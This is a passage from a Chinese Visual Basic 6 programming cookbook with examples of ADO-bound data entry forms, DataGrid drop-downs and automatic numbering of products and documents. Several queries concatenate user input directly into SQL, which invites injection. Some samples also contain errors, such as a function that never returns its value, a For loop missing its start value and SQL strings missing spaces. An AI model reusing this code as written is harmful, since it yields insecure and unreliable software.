（2）在main_gzgl窗体上添加一个ADO控件和一个DataGrid控件。这两个控件都属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择VB菜单中的“工程”/“部件”命令，在打开的对话框中选中Microsoft ADO Data Control 6.0（SP4）（OLEDB）和Microsoft DataGrid Control 6.0（SP5）（OLEDB）复选框，单击“确定”按钮。此时，ADO控件[image: ]
 和DataGrid控件[image: ]
 将出现在工具箱中。

（3）主要控件的属性设置如表7.7所示。

表7.7　主要控件的属性设置



	对象
	属性
	值
	功能



	ADO
	名称
	Adodc1
	连接数据库



	ConnectionString
	Provider=Microsoft.

Jet.OLEDB.4.0;

Data?Source

=db_manpower.mdb;

Persist Security

Info=False



	CommandType
	2-adCmdTable



	RecordSource
	工资表



	Visible
	False



	DataGrid
	名称
	DataGrid1
	显示工资数据



	DataSource
	Adodc1




（4）主要程序代码如下：



Private Sub Form_Load()
  Dim fld
  For Each fld In Adodc1.Recordset.Fields
     '如果字段类型为money，则格式化该列
     If fld.Type = 6 Then
       Set f1 = DataGrid1.Columns(fld.Name).DataFormat
       f1.Format = "##,##0.00"
     End If
  Next
End Sub




秘笈心法

心法领悟206：Rnd函数的广泛应用。

Rnd函数可以应用在以下几个方面：

（1）当你需要事情随机发生时使用Rnd函数（游戏、模拟、统计分析或艺术）——在你想把无法预料的结果介绍给毫无感情的计算机有序世界的任何时候。

（2）你也许想在一个窗口背景的随机位置上画线或一些发散的点。如果你正在做一个经济模拟，你也许想每60或90年破坏一次供应市场，这样会导致此后9年的困难。但实际上每当破坏事件发生时它应是无法预料的，并且每次程序运行时是不相同的（参见Randomize）。在经济模拟中每过去一年，使用公式X=Int(Rnd*60+1)If X=42 Then…CRASH（你可使用1～60之间的任意一个数去触发破坏事件，因为每年都有60分之一的可能性随机出现）。当然，因为这种财政破坏每30年发生一次，你也许想用Mod命令来测试循环时间，然后每30年用Rnd*5或其他东西在这一个周期内确定准确的日期。

（3）在纸牌游戏中，你可使用Rnd函数来洗牌。

（4）Rnd函数用来产生限定范围的随机数。常与Randomize函数配合使用。如在随机抽奖、彩票抽奖或游戏中经常用到。


 7.3　数据辅助录入



 实例207　利用组合框辅助录入数据

光盘位置：光盘\MR\07\207

高级

趣味指数：[image: ]




实例说明

DataCombo控件可以以列表的形式显示数据表中的数据。通过在该列表框中选择录入数据，还可以辅助录入其他数据。运行程序，在“房间号码”下拉列表框中选择房间号后，该房间的标准和价格将一同显示出来，结果如图7.10所示。

[image: ]
图7.10　利用组合框辅助录入数据



关键技术

DataCombo控件的Change事件在列表中的内容被改变时发生。在程序中当DataCombo控件中的“房间号”改变时，使用SQL语句查询与其相匹配的房间类型和价格。

Change事件的语法如下：



Private Sub object_Change([index As Integer])




参数说明

❶ object：一个对象表达式。

❷ index：一个整数，用来唯一地标识一个在控件数组中的控件。

设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）在Form1窗体上添加一个Label控件、一个Label控件数组（Label2(0)～Label2(9)）、一个TextBox控件数组（Text1(0)～Text1(7)）、一个ComboBox控件和两个CommandButton控件。

（3）在Form1窗体上添加一个ADO控件和一个DataCombo控件。这两个控件都属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，在打开的对话框中选中Microsoft ADO Data Control 6.0（SP4）（OLEDB）和Microsoft DataList Controls 6.0（SP3）（OLEDB）复选框，单击“确定”按钮。此时，ADO控件和DataCombo控件将出现在工具箱中。

（4）在Form1窗体上添加两个DTPicker控件，默认的“名称”属性分别为DTPicker1和DTPicker2。该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，在打开的对话框中选中Microsoft Windows Common Controls-26.0复选框，单击“确定”按钮。此时，几个新的控件将出现在工具箱中，其中一个为DTPicker控件。

（5）主要控件的属性设置如表7.8所示。

表7.8　主要控件的属性设置



	对象
	属性
	值
	功能



	DTPicker
	Name
	DTPicker2
	显示时间



	Format
	2-dtpTime



	ADO
	Name
	Adodc1
	连接数据库



	ConnectionString
	Provider=

Microsoft.Jet.

OLEDB.4.0;

Data?Source=

db_kfgl.MDB;

Persist Security

Info=False



	CommandType
	1-adCmdText



	RecordSource
	select * from kf where

房态='空房'order by 房间号



	Visible
	False



	DataCombo
	Name
	DataCombo1
	以列表形式显示所有未使用的“房间号”



	RowSource
	Adodc1



	ListField
	房间号



	BoundColumn
	房间号




（6）主要程序代码如下：



Dim cnn As New ADODB.Connection
Dim rs As New ADODB.Recordset
Private Sub Form_Activate()
  Text1(0).SetFocus
End Sub
Private Sub Form_Load()
  Combo1.AddItem "身份证"
  Combo1.AddItem "军官证"
  Combo1.AddItem "学生证"
  Combo1.AddItem "工作证"
  Combo1.ListIndex = 0
  cnn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\db_kfgl.MDB;Persist Security Info=False"
End Sub
Private Sub DataCombo1_Change()
  rs.Open "select * from kf where 房间号='" + DataCombo1 + "'and 房态='空房'", cnn, adOpenKeyset, adLockOptimistic
  If rs.RecordCount > 0 Then
    Text1(4) = rs.Fields("房间类型")
    Text1(5) = rs.Fields("价格")
  End If
  rs.Close
End Sub




秘笈心法

心法领悟207：IIf函数的应用示例。

本示例使用IIf函数来判断NumCheck过程中Test参数的值，如果参数值大于1000则返回“大于”；否则返回“小于”。



Function NumCheck (Test As Integer)    '函数过程
   Checks = IIf(Test > 1000, "大于", "小于")    
End Function
'判断两个数的大小，并且返回最大数或最小数
  Dim i, j As Integer
  i = 10
  j = 20
  n = IIf(i > j, i, j)     '返回n值为20






 实例208　利用DataGrid控件辅助录入数据

光盘位置：光盘\MR\07\208

高级

趣味指数：[image: ]




实例说明

在数据录入过程中，对于某些数据表中已经存在的数据（基本数据），应允许用户选择录入，而不是每次都做同样的工作，既费时又费力。本实例通过DataGrid控件显示表格数据的特点，将商品基本信息显示在其中，用户录入入库数据时，只需通过商品名称的关键字，即可检索该商品的相关信息，按Enter键将这些信息一起显示在指定的入库信息表格（MSHFlexGrid控件）中，结果如图7.11所示。

[image: ]
图7.11　利用DataGrid控件辅助录入数据



关键技术

DataGrid控件是一种类似于电子数据表的绑定控件，可以显示一系列行和列来表示Recordset 对象的记录和字段。可以使用DataGrid来创建一个允许最终用户查看和写入数据的应用程序。在设计时设置DataGrid控件的DataSource属性后，就会用数据源的记录集来自动填充该控件，以及自动设置列标头。用户可以编辑该网格的列，删除、重新安排、添加列标头或者调整任意一列的宽度。

本实例在利用DataGrid控件辅助录入数据时，设置了整行选定数据的功能，如果要实现该功能，则需要按下面的方法进行设置：

（1）用鼠标右键单击DataGrid控件，在弹出的快捷菜单中选择“属性”命令，打开“属性页”对话框。

（2）在“属性页”对话框中选择“拆分”选项卡，在选取框样式列表框中选择4-dbHighlightRowRaiseCell选项。

设计过程

（1）新建一个标准工程，创建一个新窗体，设置“名称”属性为frm_rk。

（2）在frm_rk窗体上添加一个Frame控件[image: ]
 ，默认的“名称”属性为Frame1。

（3）在Frame1控件中添加一个Label控件[image: ]
 数组（Lbl1(0)～Lbl1(4)）、添加4个TextBox控件[image: ]
 。

（4）在frm_rk窗体上添加一个MSHFlexGrid控件。该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，在打开的对话框中选中Microsoft Hierarchical FlexGrid Control 6.0（SP4）（OLEDB）复选框，单击“确定”按钮。此时，MSHFlexGrid控件[image: ]
 将出现在工具箱中。

（5）在frm_rk窗体上（MSHFlexGrid控件的上面）添加一个TextBox控件。

（6）  在frm_rk窗体上添加两个ADO控件和两个DataGrid控件。ADO控件和DataGrid控件都属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，在打开的对话框中选中Microsoft ADO Data Control 6.0（SP4）（OLEDB）和Microsoft DataGrid Control 6.0（SP5）（OLEDB）复选框，单击“确定”按钮。此时，ADO控件[image: ]
 和DataGrid控件[image: ]
 将出现在工具箱中。

（7）在frm_rk窗体上添加3个Label控件和4个CommandButton控件[image: ]
 。

（8）选择“工程”/“添加模块”命令，在工程中添加一个标准模块。

（9）在窗体上添加完控件之后，设置各个控件的属性。

（10）主要程序代码如下。

在Module1窗口的声明中加入以下代码：



Public Function Cnn() As ADODB.Connection    '定义函数
  Set Cnn = New ADODB.Connection
  '返回一个数据库连接
  Cnn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\db_sell.mdb;Persist Security Info=False"
End Function




在frm_rk窗体的代码窗口的声明中加入以下代码：



Public rs1 As New ADODB.Recordset, rs2 As New ADODB.Recordset    '定义数据集对象
Dim i As Integer, j As Integer
Sub EditKeyCode(MSHFlexGrid As Control, Edt As Control, KeyCode As Integer, Shift As Integer)
  '标准编辑控件处理
  Select Case KeyCode
    Case 27     'Esc:隐藏焦点并将其返回 MSFlexGrid
      Edt.Visible = False
      MSHFlexGrid.SetFocus
    Case 13     'Enter 将焦点返回 MSFlexGrid
      MSHFlexGrid.SetFocus
      DoEvents
      If MSHFlexGrid.Col < MSHFlexGrid.Cols - 1 Then
        MSHFlexGrid.Col = MSHFlexGrid.Col + 1
      Else
        If MSHFlexGrid.Col = MSHFlexGrid.Cols - 1 Then
           MSHFlexGrid.Row = MSHFlexGrid.Row + 1
           MSHFlexGrid.Col = 1
        End If
      End If
    Case 38        '向上
      MSHFlexGrid.SetFocus
      DoEvents
      If MSFlexGrid.Row > MSFlexGrid.FixedRows Then
        MSFlexGrid.Row = MSFlexGrid.Row - 1
      End If
  End Select
End Sub
Private Sub Form_Load()
  Dim i As Integer
  '使第一列较窄
  flex1.ColWidth(0) = flex1.ColWidth(0) / 2
  '初始化编辑框
  txtEdit = ""
  flex1.Rows = 101
  flex1.Cols = 8
  '设置列标头
  s$ = "^|^商品名称                 |^规格             |^单位         |^数量      |^进货价       |^金额          |^备注         "
  flex1.FormatString = s$
End Sub
Private Sub DataGrid1_KeyDown(KeyCode As Integer, Shift As Integer)
  If KeyCode = vbKeyReturn Then
     txt1(0) = Adodc1.Recordset.Fields("供应商全称")
     txt1(1).SetFocus
     DataGrid1.Visible = False
  End If
End Sub
Private Sub DataGrid2_KeyDown(KeyCode As Integer, Shift As Integer)
  If KeyCode = vbKeyReturn Then
   With Adodc2.Recordset
       '赋值给flex1表格
       If .Fields("商品名称") <> "" Then flex1.TextMatrix(flex1.Row, 1) = Trim(.Fields("商品名称"))
       If .Fields("规格") <> "" Then flex1.TextMatrix(flex1.Row, 2) = Trim(.Fields("规格"))
       If .Fields("单位") <> "" Then flex1.TextMatrix(flex1.Row, 3) = Trim(.Fields("单位"))
       flex1.TextMatrix(flex1.Row, 5) = .Fields("成本价")
   End With
   flex1.Col = 4
   DataGrid2.Visible = False     'DataGrid2不可见
   txtEdit.Text = ""
   txtEdit.SetFocus
  End If
  If KeyCode = vbKeyEscape Then     '按Esc键DataGrid2不可见
     DataGrid2.Visible = False
'     txtEdit.SetFocus     'txtEdit获得焦点
  End If
End Sub
Private Sub flex1_KeyPress(KeyAscii As Integer)
  If flex1.Col >= 4 Or flex1.Col = 1 Then
     MSHFlexGridEdit flex1, txtEdit, KeyAscii
  End If
End Sub
'添加下列例程以初始化文本框，并将焦点从Hierarchical FlexGrid传递到TextBox控件
Sub MSHFlexGridEdit(MSHFlexGrid As Control, Edt As Control, KeyAscii As Integer)
  '使用已输入的字符
  Select Case KeyAscii
    '空格表示编辑当前的文本
  Case 0 To 32
    Edt = MSHFlexGrid
    Edt.SelStart = 1000
    '其他所有字符表示取代当前的文本
  Case Else
    Edt = Chr(KeyAscii)
    Edt.SelStart = 1
  End Select
  '在合适的位置显示Edt
  Edt.Move MSHFlexGrid.Left + MSHFlexGrid.CellLeft - 15, _
  MSHFlexGrid.Top + MSHFlexGrid.CellTop - 15, _
  MSHFlexGrid.CellWidth, _
  MSHFlexGrid.CellHeight
  Edt.Visible = True
  Edt.SetFocus
End Sub
Private Sub txt1_KeyDown(Index As Integer, KeyCode As Integer, Shift As Integer)
  If KeyCode = vbKeyReturn And Index = 0 Then
    Adodc1.RecordSource = "供应商信息表where供应商编号 like +'%'+'" + txt1(0) + "'+'%'or 供应商全称 like +'%'+'" + txt1(0) + "'+'%'or 简称 like +'%'+'" + txt1(0) + "'+'%'"
    Adodc1.Refresh
    If Adodc1.Recordset.RecordCount > 0 Then
       DataGrid1.Visible = True
       DataGrid1.SetFocus
    Else
       Adodc1.RecordSource = "供应商信息表"
       Adodc1.Refresh
       If Adodc1.Recordset.RecordCount > 0 Then
         DataGrid1.Visible = True
         DataGrid1.SetFocus
       Else
         MsgBox "无可选的供应商信息，请首先录入供应商数据！", , "提示窗口"
       End If
    End If
  End If
  If KeyCode = vbKeyReturn And Index = 1 Then
    flex1.Col = 1
    flex1.Row = 1
    flex1.SetFocus
  End If
End Sub
Private Sub txtEdit_KeyDown(KeyCode As Integer, Shift As Integer)
  If KeyCode = vbKeyReturn And flex1.Col = 1 Then
    Adodc2.RecordSource = "商品信息表where商品名称like +'%'+'" + txtEdit + "'+'%'"
    Adodc2.Refresh
    If Adodc2.Recordset.RecordCount > 0 Then
       DataGrid2.Visible = True
       DataGrid2.SetFocus
    Else
       Adodc2.RecordSource = "商品信息表"
       Adodc2.Refresh
       If Adodc2.Recordset.RecordCount > 0 Then
         DataGrid2.Visible = True
         DataGrid2.SetFocus
       Else
         MsgBox "无可选的商品信息，请首先录入商品数据！", , "提示窗口"
       End If
    End If
  End If
  '只有TextBox控件在“数量”单元格时，才使用以下过程
  If flex1.Col >= 4 Then
    EditKeyCode flex1, txtEdit, KeyCode, Shift
  End If
End Sub
'当输入数据并按Enter键，或单击MSHFlexGrid控件中的另一个单元时，
'焦点将返回此控件。这时TextBox中的文本被复制到活动单元中




秘笈心法

心法领悟208：公用变量小知识。

公用变量是可以在任何模块的任意过程或者函数中访问的变量，它是使用Public语句在模块的通用声明部分声明的变量，Public语句同Private语句一样都是在模块级别中使用的语句。



 实例209　利用数据窗口辅助录入数据

光盘位置：光盘\MR\07\209

高级

趣味指数：[image: ]




实例说明

数据窗口是一个独立的窗口，其中主要显示一些基本数据，能被其他窗体选择使用。例如，在“利用数据窗口辅助录入数据”窗体中，当用户输入所在区域时，单击[image: ]
 按钮，打开“区域信息”窗口，通过此窗口可以选择录入所在区域信息，结果如图7.12所示。

[image: ]
图7.12　利用数据窗口辅助录入数据



关键技术

Load语句用于将窗体或控件加载到内存中，语法如下：



Load object




参数说明

object：所在处是要加载的Form对象、MDIForm对象或控件数组元素的名称。


说明：
 除非在加载窗体时不需要显示窗体，否则对于窗体不需要使用Load语句。在窗体还未被加载时，对窗体的任何引用（在Set或If…TypeOf语句以外）会自动加载该窗体。例如，Show方法在显示窗体前会先加载它。一旦窗体被加载，不管它是否可见，它的属性及控件会被应用程序所改变。在某些情况下，也许需要在初始化时加载所有的窗体并在以后需要它们时显示它们。

当Visual Basic加载Form对象时，先把窗体属性设置为初始值，再执行Load事件过程。当应用程序开始运行时，Visual Basic自动加载并显示应用程序的启动窗体。

在加载MDIChild属性为True的Form（换言之，子窗体）时，而此时MDIForm还未被加载，那么会在子窗体前自动加载MDIForm。因为MDI子窗体不能被隐藏起来，所以在Form_Load事件过程结束时立刻可以见到MDI子窗体。

由Visual Basic函数产生的标准对话框，例如，MsgBox和InputBox，不需要加载、显示或卸载即可简单地直接调用。

设计过程

（1）新建一个标准工程，创建一个新窗体，设置“名称”属性为main_xszz_xszzgl_lr。

（2）在main_xszz_xszzgl_lr窗体上添加一个Frame控件[image: ]
 ，默认的“名称”属性为Frame1。

（3）在Frame1控件中添加一个Label控件[image: ]
 数组（Label1(0)～Label1(11)）、一个TextBox控件[image: ]
 数组（Text1(0)～Text1(10)）。

（4）在main_xszz_xszzgl_lr窗体上添加4个CommandButton控件[image: ]
 ，设置“名称”属性分别为cmdQY、cmdAdd、cmdOK和cmdCancel。

（5）选择VB菜单中的“工程”/“添加窗体”命令，在工程中再添加一个窗体，设置“名称”属性为main_datatree。

（6）在main_datatree窗体上添加一个TreeView控件。该控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择VB菜单中的“工程”/“部件”命令，在打开的对话框中选中Microsoft Windows Common Controls 6.0（SP4）复选框，单击“确定”按钮。此时，几个新的控件将出现在工具箱中，其中的[image: ]
 就是TreeView控件。

（7）选择VB菜单中的“工程”/“添加模块”命令，在工程中添加一个标准模块。

（8）主要程序代码如下。

在main_xszz_xszzgl_lr窗体的代码窗口的声明中加入以下代码：



Private Sub Form_Activate()
  If IntLoadDataTree = 1 Then
    Text1(4).SetFocus
  End If
End Sub
Private Sub cmdQY_Click()
  Load main_datatree
  main_datatree.Show 1
End Sub
'此处代码省略，详细内容可参见光盘




在main_datatree窗体的代码窗口的声明中加入以下代码：



Dim rs1 As New ADODB.Recordset
Private Sub Form_Load()
  Dim mNode As Node
  rs1.Open "select * from 区域表 order by 区域编号,编码级次", Cnn, adOpenKeyset, adLockOptimistic
  If rs1.RecordCount > 0 Then
  rs1.MoveFirst
   Do While rs1.EOF = False
     Select Case rs1.Fields("编码级次")
        Case 1
          Set mNode = TreeView1.Nodes.Add()
          mNode.Text = "(" & rs1.Fields("本级编号") & ")" & rs1.Fields("区域名称")
          mNode.Key = rs1.Fields("区域全称")
        Case 2
          Set mNode1 = TreeView1.Nodes.Add(mNode.Index, tvwChild)
          mNode1.Text = "(" & rs1.Fields("本级编号") & ")" & rs1.Fields("区域名称")
          mNode1.Key = rs1.Fields("区域全称")
        Case 3
          Set mNode2 = TreeView1.Nodes.Add(mNode1.Index, tvwChild)
          mNode2.Text = "(" & rs1.Fields("本级编号") & ")" & rs1.Fields("区域名称")
          mNode2.Key = rs1.Fields("区域全称")
        Case 4
          Set mNode3 = TreeView1.Nodes.Add(mNode2.Index, tvwChild)
          mNode3.Text = "(" & rs1.Fields("本级编号") & ")" & rs1.Fields("区域名称")
          mNode3.Key = rs1.Fields("区域全称")
        Case 5
          Set mNode4 = TreeView1.Nodes.Add(mNode3.Index, tvwChild)
          mNode4.Text = "(" & rs1.Fields("本级编号") & ")" & rs1.Fields("区域名称")
          mNode4.Key = rs1.Fields("区域全称")
     End Select
     rs1.MoveNext
  Loop
  End If
  rs1.Close
  For i = 1 To TreeView1.Nodes.Count
     TreeView1.Nodes(i).Expanded = True
 Next i
 IntLoadDataTree = 1
End Sub
Private Sub TreeView1_KeyDown(KeyCode As Integer, Shift As Integer)
   If IntLoadDataTree = 1 Then
      If KeyCode = vbKeyReturn Then
          main_xszz_xszzgl_lr.Text1(3) = TreeView1.SelectedItem.Key
          Unload Me
      End If
   End If
End Sub




在Module1窗口的声明中加入以下代码：



Public IntLoadDataTree As Integer
Public Function Cnn() As ADODB.Connection    '定义函数
  Set Cnn = New ADODB.Connection
  '返回一个数据库连接
 Cnn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\db_csell.mdb;Persist Security Info=False"
End Function




秘笈心法

心法领悟209：Option Explicit语句小知识。

Option Explicit语句是在模块级中使用的语句，它能够强制模块中所有变量不能进行隐式声明。在使用Option Explicit语句时，需要将Option Explicit语句写在模块中所有过程之前，这样在模块中所有变量就需要使用Dim、Private、Public或Static等语句进行声明，如果程序中有未声明的变量，那么Visual Basic将产生一个为“变量未定义”的编译错误。



 实例210　在DataGrid表格中实现下拉列表框

光盘位置：光盘\MR\07\210

中级

趣味指数：[image: ]




实例说明

在“药品管理”窗体中，为了方便用户录入“单位”数据，可以在“单位”下拉列表框中选择录入，如图7.13所示，选择后的“单位”将自动显示在DataGrid控件中。

[image: ]
图7.13　在DataGrid控件中通过下拉列表框辅助录入数据



关键技术

一般来说，当想通过下拉控件（如内置的组合框、绑定列表框甚至另一个DataGrid控件）来进行编辑或数据录入时应使列按钮有效。在单击DataGrid控件当前单元中的按钮时将触发ButtonClick事件，在此事件过程中可以编写代码，从而实现下拉列表框。

下面介绍DataGrid控件的Column集合中的Button属性。

Button属性设置或返回一个值，该值决定是否在当前单元中显示按钮，语法如下：



object.Button [= value]




参数说明

❶ object：对象表达式。

❷ value：布尔表达式，该表达式决定是否在当前单元中显示按钮。


说明：
 value的设置值为True时，运行时按钮将显示在当前单元的右上角；value的设置值为False时（默认值）不显示按钮。

在DataGrid控件中，要想在某列中显示一个下拉列表框式按钮，如图7.14所示，可以将该列的Button属性设置为True，其代码如下：



Private Sub Form_Load()
  DataGrid1.Columns(0).Button = True
End Sub




[image: ]
图7.14　带下拉按钮的DataGrid控件



设计过程

（1）新建一个标准工程，创建一个新窗体，默认的“名称”属性为Form1。

（2）在Form1窗体上添加一个ADO控件和一个DataGrid控件。这两个控件都属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，在打开的对话框中选中Microsoft ADO Data Control 6.0（SP4）（OLEDB）和Microsoft DataGrid Control 6.0（SP5）（OLEDB）复选框，单击“确定”按钮。此时，ADO控件[image: ]
 和DataGrid控件[image: ]
 将出现在工具箱中。

（3）在DataGrid控件上添加一个ListBox控件[image: ]
 ，设置Appearance属性为0-Flat。

（4）主要程序代码如下：



Private Sub Form_Load()
  Adodc1.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\jxc.mdb;Persist Security Info=False"
  Adodc1.CommandType = adCmdTable
  Adodc1.RecordSource = "tb_stock"
  Set DataGrid1.DataSource = Adodc1
  List1.AddItem ("支")
  List1.AddItem ("瓶")
  List1.AddItem ("盒")
  List1.AddItem ("袋")
  DataGrid1.Columns(6).Button = True
End Sub
Private Sub DataGrid1_ButtonClick(ByVal ColIndex As Integer)
  If Not List1.Visible Then
    List1.Visible = True
    List1.Width = DataGrid1.Columns(6).Width
    List1.Left = DataGrid1.Left + DataGrid1.Columns(6).Left
    List1.Top = DataGrid1.RowTop(DataGrid1.Row) + DataGrid1.RowHeight
  End If
End Sub
Private Sub DataGrid1_RowColChange(LastRow As Variant, ByVal LastCol As Integer)
  List1.Visible = False
End Sub
Private Sub List1_Click()
  DataGrid1.Columns(6).Text = List1.Text
  List1.Visible = False
End Sub




秘笈心法

心法领悟210：模块级常量小知识。

模块级常量是指常量能被所在模块中的过程访问，当定义此常量的所在模块结束时，常量也被相应地释放。当有更高一级的同名常量（公用常量）存在时，通过该模块中的过程访问的将是模块中的模块级常量，而不是更高一级的同名常量。


 7.4　编号、单据号生成



 实例211　自动生成产品编号

光盘位置：光盘\MR\07\211

高级

趣味指数：[image: ]




实例说明

在录入商品信息的过程中，经常会出现商品名称重复的现象，为了更好地区分每一种商品，可以为商品统一编码。运行程序，单击“添加”按钮，自动生成产品编号并显示在“产品编号”文本框中，如图7.15所示。

[image: ]
图7.15　自动生成产品编号



关键技术

MoveFirst、MoveLast、MoveNext和MovePrevious方法在指定Recordset对象中移动到第一条、最后一条、下一条和上一条记录并使该记录成为当前记录，语法如下：



recordset.{MoveFirst | MoveLast | MoveNext | MovePrevious}




各方法的说明如下：

（1）使用MoveFirst方法将当前记录位置移动到Recordset中的第一条记录。

（2）使用MoveLast方法将当前记录位置移动到Recordset中的最后一条记录。Recordset对象必须支持书签或向后游标移动；否则方法调用将产生错误。

（3）使用MoveNext方法将当前记录向前移动一条记录（向Recordset的底部）。如果最后一条记录是当前记录并且调用MoveNext方法，ADO将当前记录设置到Recordset（EOF为True）的尾记录之后。如果EOF属性为True，则向前移动将产生错误。

（4）使用MovePrevious方法将当前记录位置向后移动一条记录（向记录集的顶部）。Recordset对象必须支持书签或向后游标移动；否则方法调用将产生错误。如果首记录是当前记录并且调用MovePrevious方法，则ADO将当前记录设置在Recordset（BOF为True）的首记录之前。而BOF属性为True时向后移动将产生错误。如果Recordset对象不支持书签或向后游标移动，则MovePrevious方法将产生错误。

设计过程

（1）新建一个标准工程，创建一个新窗体，设置“名称”属性为main_cpgl。

（2）在main_cpgl窗体上添加一个Frame控件[image: ]
 ，默认的“名称”属性为Frame1。

（3）在Frame1控件中添加一个Label控件[image: ]
 数组（Label1(0)～Label(4)）、一个TextBox控件[image: ]
 数组（Text1(0)～Text1(4)）。

（4）在main_cpgl窗体上添加3个CommandButton控件[image: ]
 。

（5）主要程序代码如下：



Dim cnn As New ADODB.Connection
Dim rs1 As New ADODB.Recordset
Private Sub Form_Load()
  Me.Caption = "产品信息添加"
  cnn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.Path & "\db_csell.MDB;Persist Security Info=False"
End Sub
'单击“添加”按钮，自动生成“产品编号”
Private Sub Command1_Click()      
  rs1.Open "select * from 产品信息表 order by 产品编号", cnn, adOpenKeyset, adLockOptimistic
  If rs1.RecordCount > 0 Then
     rs1.MoveLast
     Text1(0) = Format(Val(rs1.Fields("产品编号")) + 1, "00000")
  Else
     Text1(0) = "00001"
  End If
  rs1.Close
  For i = 1 To Text1.UBound
    Text1(i) = ""
  Next i
  Text1(1).SetFocus
End Sub




秘笈心法

心法领悟211：根据表格中数据的长度自动调整表格宽度。

本实例通过获取表格中每一列中字符串的长度，按照适当的比例分配表格的宽度。如果字符串长度发生变化，重新启动程序后表格将按照其中数据的长度自动调整宽度。

本实例获取表格中某一列内数据长度代码如下：



Len(Adodc1.Recordset(Index))




其中Index代表指定列的索引号，代码如下：



Private Sub Form_Load()
    Dim path As String
    Adodc1.ConnectionString = "PROVIDER=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.path & "\db_Client.mdb;"
    For j = 1 To Adodc1.Recordset.RecordCount    '根据字段长度调整表列宽度
        Adodc1.Recordset.AbsolutePosition = j
        For i = 0 To Adodc1.Recordset.Fields.Count - 1
            If DataGrid1.Columns(i).Width < Len(Adodc1.Recordset(i)) * 900 Then
            DataGrid1.Columns(i).Width = Len(Adodc1.Recordset(i)) * 900
            End If
        Next i
    Next j
    DataGrid1.Width = DataGrid1.Columns(0).Width + DataGrid1.Columns(1).Width + 500
    Me.Width = DataGrid1.Width + DataGrid1.Columns(0).Left
    Adodc1.Recordset.MoveFirst
End Sub






 实例212　批量生成房屋编号

光盘位置：光盘\MR\07\212

高级

趣味指数：[image: ]




实例说明

在开发房地产相关软件的过程中，批量生成房屋编号是必须具备的功能。本实例也实现了这样的功能。运行程序，选择相关的房屋信息，单击“开始生成”按钮，即可自动生成连续的房屋编号，结果如图7.16所示。

[image: ]
图7.16　批量生成房屋编号



关键技术

使用For…Next循环时，在For和Next两个语句之间可以放置任何可执行语句，当然也可以再放入其他For…Next循环，这就形成所谓的“嵌套循环”。在使用嵌套循环时，每个循环的循环变量要使用不同的变量名，同时要注意For和Next的匹配。例如，下面的结构：



For I= To 10
       …
      For J=1 To 10
       …
         For K=1 To 10
               …
         Next K
           …
      Next J
       …
Next I




设计过程

（1）新建一个标准工程，创建一个新窗体，设置“名称”属性为Frm_fwinfosc。

（2）在Frm_fwinfosc窗体上添加5个Frame控件。

（3）在Frame1控件中添加一个Label控件和一个ComboBox控件。

（4）在Frame2控件中添加一个ListBox控件。

（5）在Frame3控件中添加4个Label控件、4个TextBox控件和4个UpDown控件。UpDown控件属于ActiveX控件，在使用前应先将其添加到工具箱中，具体添加方法如下：

选择“工程”/“部件”命令，在打开的对话框中选中Microsoft Windows Common Controls-26.0复选框，单击“确定”按钮。此时，几个新的控件将出现在工具箱中，其中就有UpDown控件。

（6）在Frame4控件中添加5个Label控件和5个ComboBox控件。

（7）在Frame5控件中添加两个CommonButton控件。

（8）主要程序代码如如下：



Private Sub Command1_Click()
  Dim m1, m2 As String
  Dim a, b, c, d, e, f As Integer
  b = Val(Text2.Text)
  c = Val(Text3.Text)
  d = Val(Text4.Text)
  For a = Val(Text1) To b
     For e = 1 To c
        For f = 1 To d
              m1 = Combo1.Text + List1.Text + Trim(Str(a)) + Trim(Str(e)) + Trim(Str(f))
              m2 = m2 & Chr(13) & m1
l:
        Next f
     Next e
  Next a
  MsgBox m2, , "批量生成房屋编号"
End Sub




秘笈心法

心法领悟212：根据数据大小自动调整表格高度。

本实例通过获取记录集中记录的行数，然后按照适当的比例调整表格的高度。如果在表格中添加了新数据，重新启动程序后表格的高度将按照数据表中的行数重新分配表格高度。本实例获取记录集行数的代码如下：



I = Adodc1.Recordset.RecordCount




根据数据大小自动调整表格高度的程序代码如下：



Private Sub Form_Load()
    Dim path As String
    Adodc1.ConnectionString = "PROVIDER=Microsoft.Jet.OLEDB.4.0;Data Source=" & App.path & "\db_Client.mdb;"
    Dim a As Integer
    a = Adodc1.Recordset.RecordCount    '记录集中行总数
    a = (a + 2) * DataGrid1.RowHeight '------平均分配行高
    DataGrid1.Height = a
    Me.Height = DataGrid1.Height + DataGrid1.RowTop(DataGrid1.Row) + 200
End Sub






 实例213　根据编码规格自动生成各种单据号

光盘位置：光盘\MR\07\213

高级

趣味指数：[image: ]




实例说明

一些做得比较好的应用软件，都会提供这样的功能，即根据用户的编码要求能自动生成程序中需要的各种编码（如人员编号、部门编号、入库单据号、销售单据号等）。利用这种方法生成的单据号较为灵活，用户可以自行编辑，其适用的范围也较为广泛。本实例也实现了这一功能。运行程序，在第1段、第2段等下拉列表框中选择要显示的内容，在“段间分隔符”文本框中输入用于分隔各段的字符，如果没有可以不输入。如果在段列表中选择了“固定字符串”，则在“固定字符串”文本框中输入一个字符串。最后输入记录的顺序号，单击“确定”按钮，将生成符合编码规则的编码，如图7.17所示。

[image: ]
图7.17　根据编码规则自动生成各种单据号



关键技术

Array函数用于返回一个包含数组的Variant，语法如下：



Array(arglist)




所需的arglist参数是一个用逗号隔开的值表，这些值用于给Variant所包含的数组的各元素赋值。如果不提供参数，则创建一个长度为0的数组。


说明：
 用来表示数组元素的符号由变量名、圆括号以及括号中的所需元素的索引号组成。

